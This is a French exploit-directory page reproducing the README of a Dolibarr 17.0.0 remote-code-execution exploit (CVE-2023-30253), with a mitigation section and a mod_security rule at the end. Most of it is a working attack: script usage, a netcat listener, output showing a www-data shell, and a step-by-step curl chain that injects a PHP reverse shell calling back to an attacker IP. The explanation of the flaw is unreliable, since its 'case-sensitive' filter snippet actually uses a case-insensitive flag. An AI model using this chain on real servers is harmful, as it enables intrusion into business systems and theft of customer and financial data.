Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-30253-exploit — CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via injection de code PHP (exploit éducatif) | Kitploit
Outils/GitHubGitHub/jeanback1/cve-2023-30253-exploit
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubjeanback1/cve-2023-30253-exploit

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via injection de code PHP (exploit éducatif)

Voir le dépôt
2il y a 3 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution

Python 3.8+ License CVSS

Exploit d'injection de code PHP pour Dolibarr ERP/CRM v17.0.0 permettant d'obtenir un shell inverse en tant qu'utilisateur www-data via le module Website/CMS.

⚠️ Uniquement à des fins éducatives et d'audits autorisés.


📑 Index

  • Qu'est-ce que CVE-2023-30253 ?
  • Comment fonctionne la vulnérabilité ?
  • Impact
  • Que fait cet exploit ?
  • Prérequis
  • Installation
  • Utilisation
  • Exemple pratique
  • L'exploit pas à pas
  • Atténuation
  • Références

  • 🔍 Qu'est-ce que CVE-2023-30253 ?

    CVE-2023-30253 est une vulnérabilité d'injection de code PHP (CWE-94: Improper Control of Generation of Code) dans Dolibarr ERP/CRM versions antérieures à 17.0.1.

    Elle a été découverte et rapportée par l'équipe Swascan (maintenant Hacktivesecurity) en mai 2023. La vulnérabilité réside dans le module Website/CMS, qui permet aux utilisateurs authentifiés de créer et gérer des sites web dans Dolibarr.

    ChampValeur
    CVECVE-2023-30253
    CVSS v3.18.8 (HIGH)
    VecteurAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    TypeCWE-94 — Code Injection
    Logiciel affectéDolibarr ERP/CRM < 17.0.1
    PrivilègesUtilisateur authentifié (tout rôle)
    CorrectifDolibarr 17.0.1 — commit 4f6055c

    ⚙️ Comment fonctionne la vulnérabilité ?

    Dolibarr implémente un filtre pour empêcher les utilisateurs d'injecter du code PHP dans le contenu des pages du module Website. Cependant, ce filtre présente un défaut critique : il est case-sensitive.

    root@kitploit:~
    // Code vulnérable (simplifié) dans Dolibarr 17.0.0
    if (preg_match('/<\?php/i', $content)) {
        // Bloque uniquement "<?php" en minuscules exactes... ou pas ?
        die("PHP code detected!");
    }
    

    Le filtre recherche littéralement la chaîne <?php en minuscules. Mais PHP permet n'importe quelle combinaison de minuscules et majuscules pour la balise d'ouverture. Cela signifie que :

    BaliseFiltrée ?Exécutée par PHP ?
    <?php ... ?>✅✅
    <?PHP ... ?>❌✅
    <?Php ... ?>❌✅
    <?pHp ... ?>❌✅

    L'exploit utilise <?PHP (en majuscules) pour contourner le filtre, mais n'importe quelle variante fonctionne.

    De plus, le filtre n'est appliqué qu'au moment de sauvegarder le contenu. Lors de la livraison de la page, Dolibarr transmet le contenu sans assainissement supplémentaire à l'interpréteur PHP, qui exécute tout code avec la balise d'ouverture <?.


    💥 Impact

    Un attaquant authentifié peut :

    • Exécution de commandes à distance (RCE) sur le serveur
    • Accéder à la base de données de Dolibarr (clients, factures, utilisateurs)
    • Lire des fichiers sensibles du système (/etc/passwd, configuration)
    • Utiliser le serveur comme point de pivot pour des attaques internes
    • Installer des malwares, webshells ou backdoors persistants

    Pourquoi est-ce critique ? Dolibarr est utilisé comme ERP/CRM d'entreprise. Une intrusion peut exposer des données clients, financières, des contrats et des identifiants internes.


    🛠️ Que fait cet exploit ?

    L'exploit automatise le processus complet d'exploitation en 5 étapes :

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────┐
    │                   CVE-2023-30253                       │
    │                                                         │
    │  1. Login          → S'authentifier dans Dolibarr       │
    │  2. Create Website → Créer un site web vide             │
    │  3. Create Page    → Créer une page dans le site        │
    │  4. Inject Shell   → Injecter un shell inverse PHP      │
    │  5. Trigger        → Exécuter le payload                │
    │                                                         │
    │  Résultat : 🎯 Shell inverse en tant que www-data       │
    └─────────────────────────────────────────────────────────┘
    

    Caractéristiques :

    • ✅ Gestion automatique des jetons anti-CSRF
    • ✅ Session persistante avec cookies
    • ✅ Détection automatique du pageid
    • ✅ Mode verbeux pour le débogage
    • ✅ Sortie colorée (désactivable)
    • ✅ Payload de shell inverse via fsockopen + proc_open

    📋 Prérequis

    • Python 3.8+
    • requests
    • beautifulsoup4

    Ou simplement :

    root@kitploit:~
    pip install -r requirements.txt
    

    📦 Installation

    root@kitploit:~
    # Cloner le dépôt
    git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
    cd CVE-2023-30253-exploit
    
    # Installer les dépendances
    pip install -r requirements.txt
    

    🚀 Utilisation

    root@kitploit:~
    python exploit.py <target> <username> <password> <lhost> <lport> [opciones]
    

    Arguments positionnels :

    ArgumentDescriptionExemple
    targetURL de base de Dolibarrhttp://crm.board.htb
    usernameUtilisateur Dolibarradmin
    passwordMot de passe Dolibarradmin
    lhostVotre IP (où vous recevrez le shell)10.10.14.5
    lportVotre port (où vous recevrez le shell)4444

    Options :

    OptionDescription
    -v, --verboseAffiche des informations de débogage détaillées
    --no-colorDésactive les couleurs dans la sortie
    -h, --helpAffiche l'aide et des exemples

    🎯 Exemple pratique

    Terminal 1 — Démarrer le listener du shell inverse

    root@kitploit:~
    nc -lvnp 4444
    

    Terminal 2 — Exécuter l'exploit

    root@kitploit:~
    python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
    

    Sortie attendue

    root@kitploit:~
    ════════════════════════════════════════════════════════
     CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
    ════════════════════════════════════════════════════════
    
      Target:   http://crm.board.htb
      User:     admin
      LHOST:    10.10.14.5
      LPORT:    4444
      Site ID:  s3a1f2bc
    
    ──────────────────────────────────────────────────
    
    [10:45:12] Paso 1/5: Iniciando sesión...
    [10:45:12]   ✓ Sesión iniciada correctamente
    
    [10:45:13] Paso 2/5: Creando sitio web...
    [10:45:13]   ✓ Sitio web 's3a1f2bc' creado
    
    [10:45:13] Paso 3/5: Creando página en el sitio...
    [10:45:13]   ✓ Página creada dentro del sitio
    
    [10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
    [10:45:14]   ✓ Código PHP inyectado exitosamente
    
    [10:45:14] Paso 5/5: Ejecutando payload (trigger)...
    
    ════════════════════════════════════════════════════════
      EXPLOTACIÓN COMPLETADA
    ════════════════════════════════════════════════════════
    
      Trigger URL:
      http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
    
      Instrucciones:
      1. En otra terminal, inicia tu listener:
         nc -lvnp 4444
      2. Accede a la Trigger URL (el exploit ya lo hizo)
      3. Recibirás una shell reversa como www-data
    

    Terminal 1 — Shell obtenu 🎯

    root@kitploit:~
    Listening on 0.0.0.0 4444
    Connection received on 10.129.231.37 52846
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    🔬 L'exploit pas à pas

    Si vous préférez comprendre le processus manuellement (sans le script), voici le flux complet :

    1. S'authentifier

    root@kitploit:~
    # Obtenir les cookies et le jeton CSRF
    curl -c cookies.txt http://crm.board.htb/ > /dev/null
    
    # Extraire le jeton
    TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    # Login
    curl -b cookies.txt -c cookies.txt \
      -X POST "http://crm.board.htb/index.php?mainmenu=home" \
      -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
    

    2. Créer un site web

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?action=createsite" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      -d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
    

    ⚠️ Leçon apprise : Le paramètre action correct est addsite, pas add comme apparaît dans certains exploits publics.

    3. Créer une page

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?website=misitio" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      -d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
    

    4. Injecter du code PHP

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      --data-urlencode "token=$TOKEN" \
      --data-urlencode "action=updatesource" \
      --data-urlencode "website=misitio" \
      --data-urlencode "PAGE_CONTENT=$PHP"
    

    🔑 Clé de l'attaque : Le champ correct est PAGE_CONTENT, pas WEBSITE_CONTENT. De nombreux PoCs publics ont cette erreur.

    5. Exécuter le payload

    root@kitploit:~
    curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
    

    🛡️ Atténuation

    Pour protéger un serveur Dolibarr contre cette vulnérabilité :

    Mettre à jour (recommandé)

    root@kitploit:~
    # Mettre à jour vers Dolibarr 17.0.1 ou supérieur
    # Le correctif améliore le filtre pour détecter toute variante de <?php
    

    Désactiver le module Website

    Si vous n'utilisez pas le module Website/CMS, désactivez-le depuis :

    root@kitploit:~
    Home → Setup → Modules → Website → Désactiver
    

    Règles WAF (mod_security)

    root@kitploit:~
    # Bloquer toute variante de balises PHP dans le champ PAGE_CONTENT
    SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
      "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"
    

    Principe du moindre privilège

    • N'utilisez pas de comptes administrateur pour les utilisateurs quotidiens
    • Limitez qui peut accéder au module Website

    📚 Références

    • NVD — CVE-2023-30253
    • Swascan Advisory — Dolibarr 17.0.0 Analysis
    • Dolibarr GitHub — Commit du correctif
    • CWE-94: Code Injection
    • Hacktivesecurity — Rapport Original

    📝 Avertissement

    Ce projet est créé à des fins éducatives et de recherche en sécurité informatique. L'utilisation de cet exploit contre des systèmes sans autorisation explicite est illégale et éthiquement répréhensible.

    En tant que professionnel de la cybersécurité, je crois fermement en :

    • La divulgation responsable des vulnérabilités
    • Le hacking éthique avec autorisation
    • Le partage des connaissances pour améliorer la sécurité collective

    Créé par Jean Carlos
    Étudiant en Cybersécurité | Pentesting | Joueur CTF
    CVE-2021-3560 • CVE-2023-27163 • CVE-2024-46986 • CVE-2025-2304

    Télécharger l’outil